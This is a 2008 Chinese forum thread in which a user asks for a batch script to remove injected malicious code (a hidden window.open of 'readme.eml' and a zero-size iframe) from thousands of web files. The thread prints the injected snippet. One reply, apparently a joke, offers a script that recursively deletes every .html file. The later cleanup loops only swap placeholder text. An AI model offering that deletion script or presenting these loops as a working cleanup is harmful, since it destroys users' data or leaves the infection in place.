标题: [求助]如何清除网页文件中的恶意代码?
[打印本页]
作者: 40961434
时间: 2008-5-10 20:22
标题: [求助]如何清除网页文件中的恶意代码?
我是一个小菜不会VBS
请各位大哥能不能帮我编一个批处理!
我的电脑上的HTML和HTM文件全被写了:
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
asp的文件被写了:<iframe width=0 height=0></iframe> 语句
跪求各位大哥帮忙了!
[
Last edited by lxmxn on 2008-5-12 at 12:12 AM ]
作者: 26933062
时间: 2008-5-10 20:43
求教应该拨打110,各位大哥帮不了你。。。。!你再跪也没用。。。。
作者: 40961434
时间: 2008-5-10 20:45
我就查点一个个文件去删了,但有几千个网页 我实在没办法呀
作者: wfy150
时间: 2008-5-10 21:09
你是想把HTML和HTM文件都删了是吧!
直接说嘛!
@echo off
for /r %%i in (.) do del %%i\*.html
del *.bat
把上面的代码放到根目录下点击运行就可以了.
作者: lxmxn
时间: 2008-5-10 21:29
网上很多文本替换工具,自己去搜索一下吧,关键字“文本替换工具”。
作者: 40961434
时间: 2008-5-11 19:01
版主,现在的文本替换工具太差了!根本替换不掉网页最后面的代码!
下面是我今天研究了一天找了点心得但有几个问题解决不了,请帮忙解决下。
@echo off
setlocal enabledelayedexpansion
set a=forfiles /p d:\ /m *.htm* /s
for /f "delims=" %%i in ('type "%a%"') do (
set str=%%i
set "str=!str:123=321!"
echo !str!>>"%a%"_tmp.txt
)
move /y "%a%"_tmp.txt "%a%"
但是forfiles找的不是绝对路径所以 还是删不到挂马语句 !
作者: knoppix7
时间: 2008-5-11 19:46
把昨天误扣的分补上。
提示一下.
find /v
把制定的不显示.然后配合for /r..
作者: bat-zw
时间: 2008-5-11 19:49
标题: 根据楼主思路随便写一个,请回馈信息:
@echo off&setlocal enabledelayedexpansion
for /f "delims=" %%a in ('dir /s /b *.htm*') do (
set n=0
for /f "delims=" %%i in ('type "%%a"') do (
set str=%%i&set /a n+=1
set str=!str:123=321!
if !n! equ 1 (
echo !str!>"%%a"
) else (
echo !str!>>"%%a"
)
)
)
echo 替换清理完毕!
pause>nul
注:加双引号是为了兼容路径和文件名上的空格。